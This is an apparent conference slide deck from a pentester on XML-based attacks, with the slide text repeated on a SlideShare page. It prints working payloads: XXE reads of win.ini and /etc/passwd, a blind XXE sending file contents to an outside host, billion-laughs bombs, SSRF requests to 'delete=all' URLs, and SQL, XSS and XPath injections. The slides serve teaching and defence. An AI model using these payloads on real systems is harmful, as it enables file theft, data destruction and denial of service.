SlideShare a Scribd company logo
XML Based Attacks
Daniel Tomescu
1
Work and education:
 Pentester @ KPMG Romania
 Moderator @ Romanian Security Team
 Student @ Master of Information Management and Security, UPB
Hint: We’re hiring!
My interests:
 Web/mobile application penetration tests
 Internal network penetration tests
 Curious about mobile and embedded devices
 Bug bounty hunter
About me
2
Pentest 101
Input: Our Payload
admin’+or+‘1’=‘1’--+
Process: What we are testing
Login page
Output: (Un)expected result
Authentication bypass
3
Roadmap
1 • XML in a few words
2 • Common vulnerabilities
3 • DTD Attacks
4 • XML Schema Attacks
5 • Xpath Injection
6 • Demo + Q & A
4
XML Usage
• Web apps
- XML-RPC;
- SOAP;
- RSS;
• Documents
- PDFs;
- Office suite;
- eBooks;
• Mobile apps
• Content management
5
XML Family
• Lots of components
• Complex structure
• Many parsing stages
• Parsing errors
• Security vulnerabilities?
6
Common vulnerabilities (1)
SQL Injection
Classic example:
http://target.com/login.php?user=admin&pass=a’+or+’1’=‘1
Equivalent XML Payload:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<user>admin</user>
<pass>a’ or ’1’=‘1</pass>
</root>
7
Common vulnerabilities (2)
Cross-Site Scripting
Classic example:
http://example.com/search.php?query=a‛><script>alert(‚123‛)</script>
Equivalent XML Payload:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<query>a‛%3E%3Cscript%3Ealert(‚123‛)%3C/script%3E</query>
</root>
8
About DTDs
Notes.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "Notes.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
Notes.dtd
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
9
DTDs : XXE Attacks (1)
Request containing an external entity
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
</updateProfile>
10
DTDs : XXE Attacks (2)
Blind XXE Attack
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY send SYSTEM 'http://example.com/?%file;'> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&send;</lastname>
</updateProfile>
11
DTDs : Denial of Service (1)
Billion Laughs Attack / XML Bomb
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
12
XML Bomb variations
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol1 "&lol2;">
<!ENTITY lol2 "&lol1;">
]>
<lolz>&lol1;</lolz>
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<boom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</boom>
.NET Code fix for XML Bombs
XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);
13
DTDs : Denial of Service (2)
DTDs : SSRF Attacks (1)
Server Side Request Forgery attack example:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY ssrf SYSTEM 'http://10.0.0.2/users.php?delete=all'> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&ssrf;</lastname>
</updateProfile>
14
DTDs : SSRF Attacks (2)
15
XML Schema
Notes.xml
<?xml version="1.0" encoding="UTF-8"?>
<note xmlns="http://www.w3schools.com"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation=‚Notes.xsd"> >
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
Notes.xsd
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="note">
<xs:complexType>
<xs:sequence>
<xs:element name="to" type="xs:string"/>
<xs:element name="from" type="xs:string"/>
<xs:element name="heading" type="xs:string"/>
<xs:element name="body" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema> 16
XML Schema SSRF
Server Side Request Forgery attack example:
<?xml version="1.0" encoding="utf-8"?>
<roottag xmlns="http://10.0.0.1/users.php?delete=all"
xmlns:secondaryns="http://10.0.0.2/users.php?delete=all"
xmlns:xsi="http://10.0.0.3/users.php?delete=all"
xsi:schemaLocation="http://10.0.0.4/users.php?delete=all">
<secondaryns:s> Hello! </secondaryns:s>
</roottag>
17
XML Schema Poisoning attack
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="note">
<xs:complexType>
<xs:sequence>
<xs:element name="to" type="xs:string"/>
<xs:element name="from" type="xs:string"/>
<xs:element name="heading" type="xs:string"/>
<xs:element name="body" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
18
XML XPath
Notes.xml
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book category="COOKING">
<title lang="it">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>19.99</price>
</book>
</bookstore>
XPath expressions
/bookstore/book[1]
/bookstore/book[price>25.00]/title
//title[@lang='en']
/bookstore/book[last()]
19
XPath Injection
employees.xml
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<Name>Mike</Name>
<UserName>Mike07</UserName>
<Password>TopSecret</Password>
<Type>Admin</Type>
</Employee>
</Employees>
Payload
Username: Mike07
Password: oops' or 'a'='a
Result - FindUserXPath becomes
//Employee[UserName/text()='Mike07' And Password/text()='oops' or 'a'='a']
C#:
String FindUserXPath;
FindUserXPath =
"//Employee[UserName/text()='"
+ Request("Username")
+ "' And Password/text()='"
+ Request("Password") + "']";
20
Content-Type header (1)
HTTP Request:
POST /update.php HTTP/1.1
Host: target.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":‚val"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name val"}
HTTP Request:
POST /update.php HTTP/1.1
Host: target.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>val</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name val"}
21
HTTP Request:
POST /update.php HTTP/1.1
Host: target.com
Accept: application/json
Content-Type: application/xml
Content-Length: 228
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM
"file:///etc/passwd" >
]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
22
Content-Type header (2)
Cross your fingers!
23
Questions?
24
Contact:
mail@daniel-tomescu.com
dtomescu@kpmg.com
Thank you!

More Related Content

PDF
Email keeps getting us pwned v1.1
PPTX
Security Code Review 101
PDF
Email keeps getting us pwned v1.0
PDF
Cred stealing emails bsides austin_2018 v1.0
PDF
Email keeps getting us pwned - Avoiding Ransomware and malware
PPTX
Domino Security - not knowing is not an option (2016 edition)
PDF
DIR ISF - Email keeps getting us pwned v1.1
PDF
What can you do about ransomware
Email keeps getting us pwned v1.1
Security Code Review 101
Email keeps getting us pwned v1.0
Cred stealing emails bsides austin_2018 v1.0
Email keeps getting us pwned - Avoiding Ransomware and malware
Domino Security - not knowing is not an option (2016 edition)
DIR ISF - Email keeps getting us pwned v1.1
What can you do about ransomware

Viewers also liked (12)

PDF
[Russia] Give me a stable input
PDF
Dia da Música
PDF
[Austria] Security by Design
PDF
[Lithuania] I am the cavalry
PDF
[Lithuania] Introduction to threat modeling
PDF
[Cluj] CSP (Content Security Policy)
PDF
[Lithuania] DigiCerts and DigiID to Enterprise apps
DOC
RESUME OF MAHFUZUR RAHMAN_Oct' 15
PDF
[Russia] Node.JS - Architecture and Vulnerabilities
PDF
[Poland] It's only about frontend
PDF
[Bucharest] Catching up with today's malicious actors
PDF
[Russia] MySQL OOB injections
[Russia] Give me a stable input
Dia da Música
[Austria] Security by Design
[Lithuania] I am the cavalry
[Lithuania] Introduction to threat modeling
[Cluj] CSP (Content Security Policy)
[Lithuania] DigiCerts and DigiID to Enterprise apps
RESUME OF MAHFUZUR RAHMAN_Oct' 15
[Russia] Node.JS - Architecture and Vulnerabilities
[Poland] It's only about frontend
[Bucharest] Catching up with today's malicious actors
[Russia] MySQL OOB injections
Ad

Similar to [Bucharest] XML Based Attacks (20)

PPTX
BITM3730Week5.pptx
PDF
Java Web Services
PPTX
Recent Trends in Cyber Security
KEY
Modern Web Technologies — Jerusalem Web Professionals, January 2011
KEY
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...
PPTX
Hacking Oracle From Web Apps 1 9
PPTX
HTML5 and Joomla! 2.5 Template
PPTX
Being HAPI! Reverse Proxying on Purpose
PDF
Jmp107 Web Services
PPT
An Introduction to Solr
PPTX
XXE: How to become a Jedi
PPTX
Ajax xml json
PDF
Secure pl-sql-coding
PPTX
Introduction to xml
PPT
PPTX
Top Ten Java Defense for Web Applications v2
PPTX
HTML5: The Next Internet Goldrush
PDF
Common PhoneGap Gotchas (#PGDay EU 2016)
PDF
Troubleshooting: The Two Laws - IXIASOFT User Conference 2016
PDF
Known XML Vulnerabilities Are Still a Threat to Popular Parsers ! & Open Sour...
BITM3730Week5.pptx
Java Web Services
Recent Trends in Cyber Security
Modern Web Technologies — Jerusalem Web Professionals, January 2011
Modern Web technologies (and why you should care): Megacomm, Jerusalem, Febru...
Hacking Oracle From Web Apps 1 9
HTML5 and Joomla! 2.5 Template
Being HAPI! Reverse Proxying on Purpose
Jmp107 Web Services
An Introduction to Solr
XXE: How to become a Jedi
Ajax xml json
Secure pl-sql-coding
Introduction to xml
Top Ten Java Defense for Web Applications v2
HTML5: The Next Internet Goldrush
Common PhoneGap Gotchas (#PGDay EU 2016)
Troubleshooting: The Two Laws - IXIASOFT User Conference 2016
Known XML Vulnerabilities Are Still a Threat to Popular Parsers ! & Open Sour...
Ad

More from OWASP EEE (17)

PDF
[Austria] ZigBee exploited
PPTX
[Austria] How we hacked an online mobile banking Trojan
PDF
[Poland] SecOps live cooking with OWASP appsec tools
PPTX
[Cluj] Turn SSL ON
PDF
[Cluj] Information Security Through Gamification
PDF
[Cluj] A distributed - collaborative client certification system
PDF
[Russia] Bugs -> max, time &lt;= T
PDF
[Russia] Building better product security
PDF
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
PPTX
[Hungary] I play Jack of Information Disclosure
PDF
[Hungary] Survival is not mandatory. The air force one has departured are you...
PDF
[Hungary] Secure Software? Start appreciating your developers!
PDF
[Bucharest] Your intents are dirty, droid!
PDF
[Bucharest] #DontTrustTheDarkSide
PDF
[Bucharest] From SCADA to IoT Cyber Security
PDF
[Bucharest] Reversing the Apple Sandbox
PDF
[Bucharest] Attack is easy, let's talk defence
[Austria] ZigBee exploited
[Austria] How we hacked an online mobile banking Trojan
[Poland] SecOps live cooking with OWASP appsec tools
[Cluj] Turn SSL ON
[Cluj] Information Security Through Gamification
[Cluj] A distributed - collaborative client certification system
[Russia] Bugs -> max, time &lt;= T
[Russia] Building better product security
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Hungary] I play Jack of Information Disclosure
[Hungary] Survival is not mandatory. The air force one has departured are you...
[Hungary] Secure Software? Start appreciating your developers!
[Bucharest] Your intents are dirty, droid!
[Bucharest] #DontTrustTheDarkSide
[Bucharest] From SCADA to IoT Cyber Security
[Bucharest] Reversing the Apple Sandbox
[Bucharest] Attack is easy, let's talk defence

Recently uploaded (20)

PPT
FIRE PREVENTION AND CONTROL PLAN- LUS.FM.MQ.OM.UTM.PLN.00014.ppt
PPT
Design_with_Watersergyerge45hrbgre4top (1).ppt
PDF
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
PDF
SASE Traffic Flow - ZTNA Connector-1.pdf
PPTX
t_and_OpenAI_Combined_two_pressentations
PDF
The New Creative Director: How AI Tools for Social Media Content Creation Are...
PPTX
IPCNA VIRTUAL CLASSES INTERMEDIATE 6 PROJECT.pptx
PPTX
Slides PPTX: World Game (s): Eco Economic Epochs.pptx
PDF
The Ikigai Template _ Recalibrate How You Spend Your Time.pdf
PPT
isotopes_sddsadsaadasdasdasdasdsa1213.ppt
PPTX
Funds Management Learning Material for Beg
PDF
si manuel quezon at mga nagawa sa bansang pilipinas
PDF
Uptota Investor Deck - Where Africa Meets Blockchain
PDF
mera desh ae watn.(a source of motivation and patriotism to the youth of the ...
PDF
simpleintnettestmetiaerl for the simple testint
PPT
250152213-Excitation-SystemWERRT (1).ppt
PDF
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
PDF
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
PPTX
Database Information System - Management Information System
PPTX
1402_iCSC_-_RESTful_Web_APIs_--_Josef_Hammer.pptx
FIRE PREVENTION AND CONTROL PLAN- LUS.FM.MQ.OM.UTM.PLN.00014.ppt
Design_with_Watersergyerge45hrbgre4top (1).ppt
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
SASE Traffic Flow - ZTNA Connector-1.pdf
t_and_OpenAI_Combined_two_pressentations
The New Creative Director: How AI Tools for Social Media Content Creation Are...
IPCNA VIRTUAL CLASSES INTERMEDIATE 6 PROJECT.pptx
Slides PPTX: World Game (s): Eco Economic Epochs.pptx
The Ikigai Template _ Recalibrate How You Spend Your Time.pdf
isotopes_sddsadsaadasdasdasdasdsa1213.ppt
Funds Management Learning Material for Beg
si manuel quezon at mga nagawa sa bansang pilipinas
Uptota Investor Deck - Where Africa Meets Blockchain
mera desh ae watn.(a source of motivation and patriotism to the youth of the ...
simpleintnettestmetiaerl for the simple testint
250152213-Excitation-SystemWERRT (1).ppt
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
Database Information System - Management Information System
1402_iCSC_-_RESTful_Web_APIs_--_Josef_Hammer.pptx

[Bucharest] XML Based Attacks

  • 2. Work and education:  Pentester @ KPMG Romania  Moderator @ Romanian Security Team  Student @ Master of Information Management and Security, UPB Hint: We’re hiring! My interests:  Web/mobile application penetration tests  Internal network penetration tests  Curious about mobile and embedded devices  Bug bounty hunter About me 2
  • 3. Pentest 101 Input: Our Payload admin’+or+‘1’=‘1’--+ Process: What we are testing Login page Output: (Un)expected result Authentication bypass 3
  • 4. Roadmap 1 • XML in a few words 2 • Common vulnerabilities 3 • DTD Attacks 4 • XML Schema Attacks 5 • Xpath Injection 6 • Demo + Q & A 4
  • 5. XML Usage • Web apps - XML-RPC; - SOAP; - RSS; • Documents - PDFs; - Office suite; - eBooks; • Mobile apps • Content management 5
  • 6. XML Family • Lots of components • Complex structure • Many parsing stages • Parsing errors • Security vulnerabilities? 6
  • 7. Common vulnerabilities (1) SQL Injection Classic example: http://target.com/login.php?user=admin&pass=a’+or+’1’=‘1 Equivalent XML Payload: <?xml version="1.0" encoding="UTF-8"?> <root> <user>admin</user> <pass>a’ or ’1’=‘1</pass> </root> 7
  • 8. Common vulnerabilities (2) Cross-Site Scripting Classic example: http://example.com/search.php?query=a‛><script>alert(‚123‛)</script> Equivalent XML Payload: <?xml version="1.0" encoding="UTF-8"?> <root> <query>a‛%3E%3Cscript%3Ealert(‚123‛)%3C/script%3E</query> </root> 8
  • 9. About DTDs Notes.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note SYSTEM "Notes.dtd"> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> Notes.dtd <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> 9
  • 10. DTDs : XXE Attacks (1) Request containing an external entity <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> </updateProfile> 10
  • 11. DTDs : XXE Attacks (2) Blind XXE Attack <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "file:///c:/windows/win.ini"> <!ENTITY send SYSTEM 'http://example.com/?%file;'> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&send;</lastname> </updateProfile> 11
  • 12. DTDs : Denial of Service (1) Billion Laughs Attack / XML Bomb <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 12
  • 13. XML Bomb variations <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol1 "&lol2;"> <!ENTITY lol2 "&lol1;"> ]> <lolz>&lol1;</lolz> <?xml version="1.0"?> <!DOCTYPE kaboom [ <!ENTITY a "aaaaaaaaaaaaaaaaaa..."> ]> <boom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</boom> .NET Code fix for XML Bombs XmlReaderSettings settings = new XmlReaderSettings(); settings.ProhibitDtd = false; settings.MaxCharactersFromEntities = 1024; XmlReader reader = XmlReader.Create(stream, settings); 13 DTDs : Denial of Service (2)
  • 14. DTDs : SSRF Attacks (1) Server Side Request Forgery attack example: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY ssrf SYSTEM 'http://10.0.0.2/users.php?delete=all'> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&ssrf;</lastname> </updateProfile> 14
  • 15. DTDs : SSRF Attacks (2) 15
  • 16. XML Schema Notes.xml <?xml version="1.0" encoding="UTF-8"?> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=‚Notes.xsd"> > <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> Notes.xsd <?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="note"> <xs:complexType> <xs:sequence> <xs:element name="to" type="xs:string"/> <xs:element name="from" type="xs:string"/> <xs:element name="heading" type="xs:string"/> <xs:element name="body" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> 16
  • 17. XML Schema SSRF Server Side Request Forgery attack example: <?xml version="1.0" encoding="utf-8"?> <roottag xmlns="http://10.0.0.1/users.php?delete=all" xmlns:secondaryns="http://10.0.0.2/users.php?delete=all" xmlns:xsi="http://10.0.0.3/users.php?delete=all" xsi:schemaLocation="http://10.0.0.4/users.php?delete=all"> <secondaryns:s> Hello! </secondaryns:s> </roottag> 17
  • 18. XML Schema Poisoning attack <?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="note"> <xs:complexType> <xs:sequence> <xs:element name="to" type="xs:string"/> <xs:element name="from" type="xs:string"/> <xs:element name="heading" type="xs:string"/> <xs:element name="body" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> 18
  • 19. XML XPath Notes.xml <?xml version="1.0" encoding="UTF-8"?> <bookstore> <book category="COOKING"> <title lang="it">Everyday Italian</title> <author>Giada De Laurentiis</author> <year>2005</year> <price>30.00</price> </book> <book category="CHILDREN"> <title lang="en">Harry Potter</title> <author>J K. Rowling</author> <year>2005</year> <price>19.99</price> </book> </bookstore> XPath expressions /bookstore/book[1] /bookstore/book[price>25.00]/title //title[@lang='en'] /bookstore/book[last()] 19
  • 20. XPath Injection employees.xml <?xml version="1.0" encoding="utf-8"?> <Employees> <Employee ID="1"> <Name>Mike</Name> <UserName>Mike07</UserName> <Password>TopSecret</Password> <Type>Admin</Type> </Employee> </Employees> Payload Username: Mike07 Password: oops' or 'a'='a Result - FindUserXPath becomes //Employee[UserName/text()='Mike07' And Password/text()='oops' or 'a'='a'] C#: String FindUserXPath; FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And Password/text()='" + Request("Password") + "']"; 20
  • 21. Content-Type header (1) HTTP Request: POST /update.php HTTP/1.1 Host: target.com Accept: application/json Content-Type: application/json Content-Length: 38 {"search":"name","value":‚val"} HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name val"} HTTP Request: POST /update.php HTTP/1.1 Host: target.com Accept: application/json Content-Type: application/xml Content-Length: 112 <?xml version="1.0" encoding="UTF-8" ?> <root> <search>name</search> <value>val</value> </root> HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name val"} 21
  • 22. HTTP Request: POST /update.php HTTP/1.1 Host: target.com Accept: application/json Content-Type: application/xml Content-Length: 228 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <root> <search>name</search> <value>&xxe;</value> </root> HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467 {"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... 22 Content-Type header (2)